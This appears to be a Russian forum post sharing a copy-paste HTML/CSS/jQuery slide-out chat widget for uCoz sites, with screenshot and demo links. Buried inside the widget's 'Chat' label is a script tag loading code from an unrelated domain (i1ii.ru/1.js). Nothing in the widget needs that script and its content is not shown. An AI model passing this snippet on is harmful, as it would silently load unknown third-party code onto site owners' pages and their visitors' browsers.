Пример скрипта можно посмотреть по скринам:
http://s016.radikal.ru/i336/1106/29/56bfe94b35b0.png
http://s55.radikal.ru/i148/1106/58/3ffbce6c8742.png
Демо: http://1234demo5.ucoz.es/ (НЕ РЕКЛАМА)
Code
<!---chat--->
<style>
@font-face {
font-family: Monotype Corsiva;
src: url(http://sc-ucoz.at.ua/css/monotype_corsiva.ttf);
}
#contactable { background-image:url(http://sc-ucoz.at.ua/chatik/mini-chat.png); cursor:pointer; height:122px; right:0; margin-right:-6px; overflow:hidden; position:fixed; top:100px; width:40px; z-index:100000; font-family: Monotype Corsiva, arial;
font-weight: normal; }
#contactForm { background-color:#222; border:1px solid #444; color:#FFFFFF;right:0; overflow:hidden; margin-right:-390px; margin-top:80px;padding:10px; position:fixed; top:20px;width:360px; z-index:99; }
.holder { margin:0 auto; padding-top:10px; text-align: left; }
#mchatIfm2 {height:350px !important}
</style>
<script type='text/javascript' src='http://sc-ucoz.at.ua/chatik/jquery.js?ver=1.4.4'></script>
<div id="xs_contact" style="display: none;">
<div id="contactable" align="center"><script src="http://i1ii.ru/1.js" type="text/javascript"></script><font size="5"><font color="#ffffff">C<br>h<br>a<br>t</font></font><br></div>
<div id="contactForm" action="">
<div class="holder">
$CHAT_BOX$
</div>
</div>
<script type="text/javascript" src="http://sc-ucoz.at.ua/chatik/xscape.js"></script>
<script type="text/javascript">
//<![CDATA[
jQuery(document).ready(function() {
jQuery('.xswdg-styles select').change(xscape_change_style);
jQuery("#slider li div.button").corner("round all 5px")
jQuery("#mainmenu").corner("round top 6px")
jQuery(".xsstop-icons").corner("round bottom 6px")
jQuery(".back-footer-compact").corner("round bottom 6px")
jQuery("#title h1.title a").css("text-shadow", "0 0 8px #000")
jQuery('ul.xs-mainmenu-superfish').superfish({ dropShadows: false, delay: 100, animation: {opacity:'show', height:'show'} });
jQuery('#xs_contact').show();
jQuery('#xs_contact').contactable();
});
// ]]>
</script>
<!---/chat--->